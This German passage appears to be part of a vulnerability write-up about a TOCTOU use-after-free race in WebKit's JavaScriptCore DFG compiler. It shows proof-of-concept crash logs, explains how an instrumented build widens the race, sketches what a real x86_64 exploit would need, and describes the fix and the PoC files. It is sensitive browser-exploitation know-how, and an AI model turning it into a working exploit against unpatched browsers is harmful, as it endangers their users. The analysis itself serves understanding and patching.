6.3 Diagnoseausgabe

Ein typischer Lauf erzeugt folgende Sequenz vor dem Absturz:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL

root@kitploit:~
Das `[tgcp] HIT` bestätigt, dass `tryGetConstantProperty()` die Zieleigenschaft erfolgreich als Zellenwert konstant gefaltet hat. Die `RACE`-Zeile zeigt, dass der Compiler-Thread das erweiterte Fenster betritt. Die `WAKE`-Zeile zeigt seine Fortsetzung. Die ASan-Diagnose meldet die Zelle als "zugänglich" – ASan sieht keine einfache Redzone-Verletzung – aber die internen Zeiger der Zelle (Struktur-ID, `MarkedBlock`-Rückzeiger) sind veraltet, was zum Absturz führt, wenn der eigene Code von JSC versucht, sie zu verwenden.

---

## 7. Forschungstechniken

### 7.1 Was künstlich ist

Der Forschungsbuild modifiziert `tryGetConstantProperty()` auf drei Arten:

- Ein `usleep()` von 500 ms erweitert das Rennfenster. Die ursprüngliche Engine hat hier keinen Schlaf; das natürliche Fenster zwischen der Freigabe der Zellensperre und dem `freeze()`-Aufruf beträgt Nanosekunden.
- Ein roher `Safepoint` wird eingegeben, ohne den `Graph` als `Scannable` zu registrieren. Produktions-Safepoints (über `GraphSafepoint`) fügen den `Graph` hinzu, was dazu führt, dass der GC alle eingefrorenen Werte besucht. Der rohe Safepoint macht die noch nicht eingefrorene Zelle für den GC unsichtbar.
- Umgebungsvariablen (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) steuern die Schlafdauer und eine optionale Signaldatei.

### 7.2 Was nicht künstlich ist

Der Absturz selbst stammt von unveränderten JSC-Codepfaden:

- `JSFinalObject::visitChildrenImpl` und `SlotVisitor::appendHiddenUnbarriered` sind Standard-GC-Markierungslogik.
- `Graph::freeze()` und `FrozenValue::freeze()` sind Standard-DFG-Compilerlogik.
- Es wird kein `__asan_poison_memory_region()` oder andere manuelle Speicherkorruption verwendet.
- Es wird keine explizite "dereferenziere den veralteten Zeiger hier"-Sonde in den Absturzpfad eingefügt.
- Das JavaScript-Harness verwendet nur öffentliche JSC-APIs und `jsc`-Shell-Builtins (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- DFG-Compiler-Threads werden tatsächlich nicht vom GC gescannt – dies ist Produktionsverhalten, kein Forschungsartefakt.

### 7.3 Bewertung

Das natürliche Rennfenster ist zu schmal für eine zuverlässige Reproduktion auf x86_64 ohne Messtechnik. Auf ARM64 bietet die schwache Speicherordnung dem ursprünglichen Exploit ein viel breiteres natürliches Fenster – Struktur- und Wertespeicherungen können umgeordnet werden, sodass der Compiler-Thread einen inkonsistenten Zustand beobachten kann, ohne künstliche zeitliche Unterstützung.

Ein hypothetischer Produktions-Exploit auf x86_64 bräuchte entweder eine Möglichkeit, den Compiler-Thread an der kritischen Stelle aufzuhalten (z. B. eine langsame Struktursuche, eine umkämpfte Sperre oder eine pathologische Graph-Form, die `freeze()` verzögert) oder einen statistischen Ansatz mit vielen Kompilierungsversuchen. Die Messtechnik ersetzt diese Anforderung durch einen deterministischen Schlaf.

---

## 8. Der Patch

Der WebKit-Commit `64714692967ad278155fcae66c5cb0f853b3bf34` von Yusuke Suzuki (geprüft von Mark Lam) behebt die Sicherheitslücke.

Der Fix führt eine neue Klasse ein, `DesiredObjectProperties`, die `(JSObject*, PropertyOffset, JSValue, Structure*)`-Tupel aufzeichnet, wann immer der DFG-Compiler eine Property-Ladung konstant faltet. Nach Abschluss der Kompilierung liest `Plan::isStillValidOnMainThread()` diese Properties auf dem Hauptthread erneut und vergleicht sie mit den aufgezeichneten Werten. Wenn ein Tupel veraltet ist – die Struktur des Objekts hat sich geändert oder der Property-Wert unterscheidet sich – wird der kompilierte Plan verworfen, bevor er ausgeführt werden kann.

Dies wandelt die TOCTOU in eine atomare Prüfung um: Der Snapshot des Compilers wird an einem Synchronisationspunkt (Hauptthread-Finalisierung) validiert, bevor der optimierte Code installiert wird. Der `freeze()`-UAF kann während der Kompilierung immer noch auftreten, aber der resultierende Code wird nie verwendet.

Für Multi-Struktur-Sets lehnt das gepatchte `tryGetConstantProperty()` die konstante Faltung vollständig ab, wenn `structureSet.size() > 1` und nicht alle Strukturen aktiv beobachtet werden. Dies beseitigt den S1→S2→S3-Transition-Angriff an der Quelle.

---

## 9. Dateien

| Datei | Beschreibung |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript-Proof-of-Concept-Harness |
| `DFGGraph.cpp` | Angreifbare Funktion (`tryGetConstantProperty`), `freeze()` und Forschungstechniken |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` – der Zeiger-Dereferenzierungspunkt |
| `DFGByteCodeParser.cpp` | `weakJSConstant()`-Aufrufstelle |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()`-Aufrufstelle |
| `DFGAbstractInterpreterInlines.h` | Abstract-Interpreter-Aufrufstelle |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` – GC-Markierungs-Absturzstelle |
| `MarkedBlock.h` | `aboutToMark()` – wo der SEGV auftritt |
| `JSLock.cpp` | `didAcquireLock()` – zeigt, dass DFG-Threads nicht beim GC registriert sind |
Tool herunterladen